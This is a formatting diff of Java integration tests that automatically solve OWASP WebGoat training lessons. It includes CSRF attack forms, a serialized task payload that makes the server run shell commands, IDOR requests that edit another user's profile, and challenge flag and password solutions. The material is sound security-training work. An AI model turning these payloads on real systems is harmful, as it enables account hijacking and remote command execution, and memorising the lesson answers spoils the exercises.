"<input type=\"hidden\" name=\"validateReq\" value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n" + + "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n"
"<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n" + + "<input type=\"hidden\" name=\"validateReq\""
"</form>\n" + + " value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n"
"</body></html>"; + "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n"
+ "</form>\n"
+ "</body></html>";
private static final String trickHTML7 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain' method=\"POST\">\n" + private static final String trickHTML7 =
"<input type=\"hidden\" name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!' value='\"}' />\n" + "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain'"
"<input type=\"submit\" value=\"assignment 7\"/>\n" + + " method=\"POST\">\n"
"</form></body></html>"; + "<input type=\"hidden\""
+ " name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat"
+ " is the best!!' value='\"}' />\n"
+ "<input type=\"submit\" value=\"assignment 7\"/>\n"
+ "</form></body></html>";
private static final String trickHTML8 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" + private static final String trickHTML8 =
"<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n" + "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
"<input type=\"hidden\" name=\"password\" value=\"password\"/>\n" + + "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n"
"<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n" + + "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n"
"<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n" + + "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n"
"<input type=\"submit\" value=\"assignment 8\"/>\n" + + "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n"
"</form></body></html>"; + "<input type=\"submit\" value=\"assignment 8\"/>\n"
+ "</form></body></html>";
private String webwolfFileDir; private String webwolfFileDir;
@ -61,7 +67,9 @@ public class CSRFIntegrationTest extends IntegrationTest {
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag"))); uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review"))); uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message"))); uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser())); uploadTrickHtml(
"csrf8.html",
trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
} }
@TestFactory @TestFactory
@ -70,8 +78,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))), dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))), dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))), dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))) dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))));
);
} }
@AfterEach @AfterEach
@ -98,18 +105,25 @@ public class CSRFIntegrationTest extends IntegrationTest {
.multiPart("file", htmlName, htmlContent.getBytes()) .multiPart("file", htmlName, htmlContent.getBytes())
.post(webWolfUrl("/WebWolf/fileupload")) .post(webWolfUrl("/WebWolf/fileupload"))
.then() .then()
.extract().response().getBody().asString(); .extract()
.response()
.getBody()
.asString();
} }
private String callTrickHtml(String htmlName) { private String callTrickHtml(String htmlName) {
String result = RestAssured.given() String result =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName)) .get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
.then() .then()
.extract().response().getBody().asString(); .extract()
.response()
.getBody()
.asString();
result = result.substring(8 + result.indexOf("action=\"")); result = result.substring(8 + result.indexOf("action=\""));
result = result.substring(0, result.indexOf("\"")); result = result.substring(0, result.indexOf("\""));
@ -117,14 +131,17 @@ public class CSRFIntegrationTest extends IntegrationTest {
} }
private void checkAssignment3(String goatURL) { private void checkAssignment3(String goatURL) {
String flag = RestAssured.given() String flag =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html")) .header("Referer", webWolfUrl("/files/fake.html"))
.post(goatURL) .post(goatURL)
.then() .then()
.extract().path("flag").toString(); .extract()
.path("flag")
.toString();
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
@ -138,9 +155,11 @@ public class CSRFIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("reviewText", "test review"); params.put("reviewText", "test review");
params.put("stars", "5"); params.put("stars", "5");
params.put("validateReq", "2aa14227b9a13d0bede0388a7fba9aa9");//always the same token is the weakness params.put(
"validateReq", "2aa14227b9a13d0bede0388a7fba9aa9"); // always the same token is the weakness
boolean result = RestAssured.given() boolean result =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
@ -148,32 +167,38 @@ public class CSRFIntegrationTest extends IntegrationTest {
.formParams(params) .formParams(params)
.post(goatURL) .post(goatURL)
.then() .then()
.extract().path("lessonCompleted"); .extract()
.path("lessonCompleted");
assertEquals(true, result); assertEquals(true, result);
} }
private void checkAssignment7(String goatURL) { private void checkAssignment7(String goatURL) {
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}"); params.put(
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the"
+ " best!!",
"\"}");
String flag = RestAssured.given() String flag =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html")) .header("Referer", webWolfUrl("/files/fake.html"))
.contentType(ContentType.TEXT) .contentType(ContentType.TEXT)
.body("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!" + "=\"}") .body(
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
+ " the best!!=\"}")
.post(goatURL) .post(goatURL)
.then() .then()
.extract().asString(); .extract()
.asString();
flag = flag.substring(9 + flag.indexOf("flag is:")); flag = flag.substring(9 + flag.indexOf("flag is:"));
flag = flag.substring(0, flag.indexOf("\"")); flag = flag.substring(0, flag.indexOf("\""));
params.clear(); params.clear();
params.put("confirmFlagVal", flag); params.put("confirmFlagVal", flag);
checkAssignment(url("/WebGoat/csrf/feedback"), params, true); checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
} }
private void checkAssignment8(String goatURL) { private void checkAssignment8(String goatURL) {
@ -187,7 +212,8 @@ public class CSRFIntegrationTest extends IntegrationTest {
params.put("password", "password"); params.put("password", "password");
// login and get the new cookie // login and get the new cookie
String newCookie = RestAssured.given() String newCookie =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
@ -195,7 +221,8 @@ public class CSRFIntegrationTest extends IntegrationTest {
.params(params) .params(params)
.post(goatURL) .post(goatURL)
.then() .then()
.extract().cookie("JSESSIONID"); .extract()
.cookie("JSESSIONID");
// select the lesson // select the lesson
RestAssured.given() RestAssured.given()
@ -207,21 +234,24 @@ public class CSRFIntegrationTest extends IntegrationTest {
.statusCode(200); .statusCode(200);
// click on the assignment // click on the assignment
boolean result = RestAssured.given() boolean result =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie) .cookie("JSESSIONID", newCookie)
.post(url("/csrf/login")) .post(url("/csrf/login"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"); .extract()
.path("lessonCompleted");
assertThat(result).isTrue(); assertThat(result).isTrue();
login(); login();
startLesson("CSRF", false); startLesson("CSRF", false);
Overview[] assignments = RestAssured.given() Overview[] assignments =
RestAssured.given()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("/service/lessonoverview.mvc")) .get(url("/service/lessonoverview.mvc"))
.then() .then()
@ -240,9 +270,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
boolean solved; boolean solved;
} }
/** /** Try to register the new user. Ignore the result. */
* Try to register the new user. Ignore the result.
*/
private void registerCSRFUser() { private void registerCSRFUser() {
RestAssured.given() RestAssured.given()
@ -253,7 +281,5 @@ public class CSRFIntegrationTest extends IntegrationTest {
.formParam("matchingPassword", "password") .formParam("matchingPassword", "password")
.formParam("agree", "agree") .formParam("agree", "agree")
.post(url("register.mvc")); .post(url("register.mvc"));
} }
} }

View File

@ -1,16 +1,13 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import static org.junit.jupiter.api.Assertions.assertTrue;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import org.junit.jupiter.api.Test;
import java.util.Arrays; import java.util.Arrays;
import java.util.HashMap; import java.util.HashMap;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertTrue;
public class ChallengeIntegrationTest extends IntegrationTest { public class ChallengeIntegrationTest extends IntegrationTest {
@ -26,7 +23,8 @@ public class ChallengeIntegrationTest extends IntegrationTest {
.get(url("/WebGoat/challenge/logo")) .get(url("/WebGoat/challenge/logo"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().asByteArray(); .extract()
.asByteArray();
String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220)); String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
@ -34,7 +32,6 @@ public class ChallengeIntegrationTest extends IntegrationTest {
params.put("username", "admin"); params.put("username", "admin");
params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode)); params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
checkAssignment(url("/WebGoat/challenge/1"), params, true); checkAssignment(url("/WebGoat/challenge/1"), params, true);
String result = String result =
RestAssured.given() RestAssured.given()
@ -45,14 +42,14 @@ public class ChallengeIntegrationTest extends IntegrationTest {
.post(url("/WebGoat/challenge/1")) .post(url("/WebGoat/challenge/1"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().asString(); .extract()
.asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42); String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear(); params.clear();
params.put("flag", flag); params.put("flag", flag);
checkAssignment(url("/WebGoat/challenge/flag"), params, true); checkAssignment(url("/WebGoat/challenge/flag"), params, true);
checkResults("/challenge/1"); checkResults("/challenge/1");
List<String> capturefFlags = List<String> capturefFlags =
@ -63,7 +60,8 @@ public class ChallengeIntegrationTest extends IntegrationTest {
.get(url("/WebGoat/scoreboard-data")) .get(url("/WebGoat/scoreboard-data"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().jsonPath() .extract()
.jsonPath()
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured"); .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
assertTrue(capturefFlags.contains("Admin lost password")); assertTrue(capturefFlags.contains("Admin lost password"));
} }
@ -86,14 +84,14 @@ public class ChallengeIntegrationTest extends IntegrationTest {
.post(url("/WebGoat/challenge/5")) .post(url("/WebGoat/challenge/5"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().asString(); .extract()
.asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42); String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear(); params.clear();
params.put("flag", flag); params.put("flag", flag);
checkAssignment(url("/WebGoat/challenge/flag"), params, true); checkAssignment(url("/WebGoat/challenge/flag"), params, true);
checkResults("/challenge/5"); checkResults("/challenge/5");
List<String> capturefFlags = List<String> capturefFlags =
@ -104,9 +102,9 @@ public class ChallengeIntegrationTest extends IntegrationTest {
.get(url("/WebGoat/scoreboard-data")) .get(url("/WebGoat/scoreboard-data"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().jsonPath() .extract()
.jsonPath()
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured"); .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
assertTrue(capturefFlags.contains("Without password")); assertTrue(capturefFlags.contains("Without password"));
} }
} }

View File

@ -2,6 +2,7 @@ package org.owasp.webgoat;
import static org.junit.jupiter.api.Assertions.fail; import static org.junit.jupiter.api.Assertions.fail;
import io.restassured.RestAssured;
import java.nio.charset.Charset; import java.nio.charset.Charset;
import java.security.NoSuchAlgorithmException; import java.security.NoSuchAlgorithmException;
import java.security.PrivateKey; import java.security.PrivateKey;
@ -10,15 +11,11 @@ import java.security.spec.InvalidKeySpecException;
import java.util.Base64; import java.util.Base64;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import javax.xml.bind.DatatypeConverter; import javax.xml.bind.DatatypeConverter;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.cryptography.CryptoUtil; import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
import org.owasp.webgoat.lessons.cryptography.HashingAssignment; import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
import io.restassured.RestAssured;
public class CryptoIntegrationTest extends IntegrationTest { public class CryptoIntegrationTest extends IntegrationTest {
@Test @Test
@ -46,13 +43,18 @@ public class CryptoIntegrationTest extends IntegrationTest {
checkAssignmentDefaults(); checkAssignmentDefaults();
checkResults("/crypto"); checkResults("/crypto");
} }
private void checkAssignment2() { private void checkAssignment2() {
String basicEncoding = RestAssured.given().when().relaxedHTTPSValidation() String basicEncoding =
.cookie("JSESSIONID", getWebGoatCookie()).get(url("/crypto/encoding/basic")).then().extract() RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/encoding/basic"))
.then()
.extract()
.asString(); .asString();
basicEncoding = basicEncoding.substring("Authorization: Basic ".length()); basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes())); String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
@ -75,11 +77,25 @@ public class CryptoIntegrationTest extends IntegrationTest {
private void checkAssignment4() throws NoSuchAlgorithmException { private void checkAssignment4() throws NoSuchAlgorithmException {
String md5Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()) String md5Hash =
.get(url("/crypto/hashing/md5")).then().extract().asString(); RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/hashing/md5"))
.then()
.extract()
.asString();
String sha256Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()) String sha256Hash =
.get(url("/crypto/hashing/sha256")).then().extract().asString(); RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/hashing/sha256"))
.then()
.extract()
.asString();
String answer_1 = "unknown"; String answer_1 = "unknown";
String answer_2 = "unknown"; String answer_2 = "unknown";
@ -101,13 +117,15 @@ public class CryptoIntegrationTest extends IntegrationTest {
private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException { private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
String privatePEM = RestAssured.given() String privatePEM =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/signing/getprivate")) .get(url("/crypto/signing/getprivate"))
.then() .then()
.extract().asString(); .extract()
.asString();
PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM); PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
RSAPrivateKey privk = (RSAPrivateKey) privateKey; RSAPrivateKey privk = (RSAPrivateKey) privateKey;
@ -122,7 +140,12 @@ public class CryptoIntegrationTest extends IntegrationTest {
private void checkAssignmentDefaults() { private void checkAssignmentDefaults() {
String text = new String(Base64.getDecoder().decode("TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl".getBytes(Charset.forName("UTF-8")))); String text =
new String(
Base64.getDecoder()
.decode(
"TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl"
.getBytes(Charset.forName("UTF-8"))));
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
@ -130,5 +153,4 @@ public class CryptoIntegrationTest extends IntegrationTest {
params.put("secretFileName", "default_secret"); params.put("secretFileName", "default_secret");
checkAssignment(url("/crypto/secure/defaults"), params, true); checkAssignment(url("/crypto/secure/defaults"), params, true);
} }
} }

View File

@ -1,12 +1,11 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
import java.io.IOException; import java.io.IOException;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
public class DeserializationIntegrationTest extends IntegrationTest { public class DeserializationIntegrationTest extends IntegrationTest {
@ -20,15 +19,15 @@ public class DeserializationIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
if (OS.indexOf("win") > -1) { if (OS.indexOf("win") > -1) {
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5"))); params.put(
"token",
SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
} else { } else {
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5"))); params.put(
"token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
} }
checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true); checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
checkResults("/InsecureDeserialization/"); checkResults("/InsecureDeserialization/");
} }
} }

View File

@ -61,7 +61,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put( params.put(
"question_0_solution", "question_0_solution",
"Solution 3: By stealing a database where names and emails are stored and uploading it to a website."); "Solution 3: By stealing a database where names and emails are stored and uploading it to a"
+ " website.");
params.put( params.put(
"question_1_solution", "question_1_solution",
"Solution 1: By changing the names and emails of one or more users stored in a database."); "Solution 1: By changing the names and emails of one or more users stored in a database.");

View File

@ -1,13 +1,14 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import static org.junit.jupiter.api.DynamicTest.dynamicTest; import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.io.IOException; import java.io.IOException;
import java.util.Arrays; import java.util.Arrays;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import lombok.SneakyThrows;
import org.hamcrest.CoreMatchers; import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert; import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.AfterEach;
@ -15,10 +16,6 @@ import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest; import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory; import org.junit.jupiter.api.TestFactory;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import lombok.SneakyThrows;
public class IDORIntegrationTest extends IntegrationTest { public class IDORIntegrationTest extends IntegrationTest {
@BeforeEach @BeforeEach
@ -30,9 +27,7 @@ public class IDORIntegrationTest extends IntegrationTest {
@TestFactory @TestFactory
Iterable<DynamicTest> testIDORLesson() { Iterable<DynamicTest> testIDORLesson() {
return Arrays.asList( return Arrays.asList(
dynamicTest("login",()-> loginIDOR()), dynamicTest("login", () -> loginIDOR()), dynamicTest("profile", () -> profile()));
dynamicTest("profile", () -> profile())
);
} }
@AfterEach @AfterEach
@ -47,9 +42,7 @@ public class IDORIntegrationTest extends IntegrationTest {
params.put("username", "tom"); params.put("username", "tom");
params.put("password", "cat"); params.put("password", "cat");
checkAssignment(url("/WebGoat/IDOR/login"), params, true); checkAssignment(url("/WebGoat/IDOR/login"), params, true);
} }
private void profile() { private void profile() {
@ -61,7 +54,9 @@ public class IDORIntegrationTest extends IntegrationTest {
.get(url("/WebGoat/IDOR/profile")) .get(url("/WebGoat/IDOR/profile"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("userId"), CoreMatchers.is("2342384")); .extract()
.path("userId"),
CoreMatchers.is("2342384"));
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
params.put("attributes", "userId,role"); params.put("attributes", "userId,role");
@ -78,7 +73,9 @@ public class IDORIntegrationTest extends IntegrationTest {
.get(url("/WebGoat/IDOR/profile/2342388")) .get(url("/WebGoat/IDOR/profile/2342388"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
@ -86,13 +83,14 @@ public class IDORIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) // part of the lesson .contentType(ContentType.JSON) // part of the lesson
.body("{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\", \"userId\":\"2342388\"}") .body(
"{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
+ " \"userId\":\"2342388\"}")
.put(url("/WebGoat/IDOR/profile/2342388")) .put(url("/WebGoat/IDOR/profile/2342388"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
} }
} }

View File

@ -1,32 +1,32 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import static io.restassured.RestAssured.given;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
import java.util.Map;
import java.util.Objects;
import lombok.Getter; import lombok.Getter;
import org.hamcrest.CoreMatchers; import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert; import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.BeforeEach;
import java.util.Map;
import java.util.Objects;
import static io.restassured.RestAssured.given;
public abstract class IntegrationTest { public abstract class IntegrationTest {
private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport")); private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
@Getter @Getter
private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport")); private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
private static boolean useSSL = false; private static boolean useSSL = false;
private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/"; private static String webgoatUrl =
private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/"; (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
@Getter private static String webWolfUrl =
private String webGoatCookie; (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
@Getter @Getter private String webGoatCookie;
private String webWolfCookie; @Getter private String webWolfCookie;
@Getter @Getter private final String user = "webgoat";
private String user = "webgoat";
protected String url(String url) { protected String url(String url) {
url = url.replaceFirst("/WebGoat/", ""); url = url.replaceFirst("/WebGoat/", "");
@ -44,17 +44,21 @@ public abstract class IntegrationTest {
@BeforeEach @BeforeEach
public void login() { public void login() {
String location = given() String location =
given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.formParam("username", user) .formParam("username", user)
.formParam("password", "password") .formParam("password", "password")
.post(url("login")).then() .post(url("login"))
.then()
.cookie("JSESSIONID") .cookie("JSESSIONID")
.statusCode(302) .statusCode(302)
.extract().header("Location"); .extract()
.header("Location");
if (location.endsWith("?error")) { if (location.endsWith("?error")) {
webGoatCookie = RestAssured.given() webGoatCookie =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.formParam("username", user) .formParam("username", user)
@ -68,18 +72,22 @@ public abstract class IntegrationTest {
.extract() .extract()
.cookie("JSESSIONID"); .cookie("JSESSIONID");
} else { } else {
webGoatCookie = given() webGoatCookie =
given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.formParam("username", user) .formParam("username", user)
.formParam("password", "password") .formParam("password", "password")
.post(url("login")).then() .post(url("login"))
.then()
.cookie("JSESSIONID") .cookie("JSESSIONID")
.statusCode(302) .statusCode(302)
.extract().cookie("JSESSIONID"); .extract()
.cookie("JSESSIONID");
} }
webWolfCookie = RestAssured.given() webWolfCookie =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.formParam("username", user) .formParam("username", user)
@ -94,12 +102,7 @@ public abstract class IntegrationTest {
@AfterEach @AfterEach
public void logout() { public void logout() {
RestAssured.given() RestAssured.given().when().relaxedHTTPSValidation().get(url("logout")).then().statusCode(200);
.when()
.relaxedHTTPSValidation()
.get(url("logout"))
.then()
.statusCode(200);
} }
public void startLesson(String lessonName) { public void startLesson(String lessonName) {
@ -136,7 +139,9 @@ public abstract class IntegrationTest {
.post(url) .post(url)
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
} }
public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) { public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
@ -149,36 +154,46 @@ public abstract class IntegrationTest {
.put(url) .put(url)
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
} }
//TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are only required to be in the same package) // TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are
// only required to be in the same package)
public void checkResults(String prefix) { public void checkResults(String prefix) {
checkResults(); checkResults();
MatcherAssert.assertThat(RestAssured.given() MatcherAssert.assertThat(
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc")) .get(url("service/lessonoverview.mvc"))
.then() .then()
.statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix))); .statusCode(200)
.extract()
.jsonPath()
.getList("assignment.path"),
CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
} }
public void checkResults() { public void checkResults() {
var result = RestAssured.given() var result =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc")) .get(url("service/lessonoverview.mvc"))
.andReturn(); .andReturn();
MatcherAssert.assertThat(result.then() MatcherAssert.assertThat(
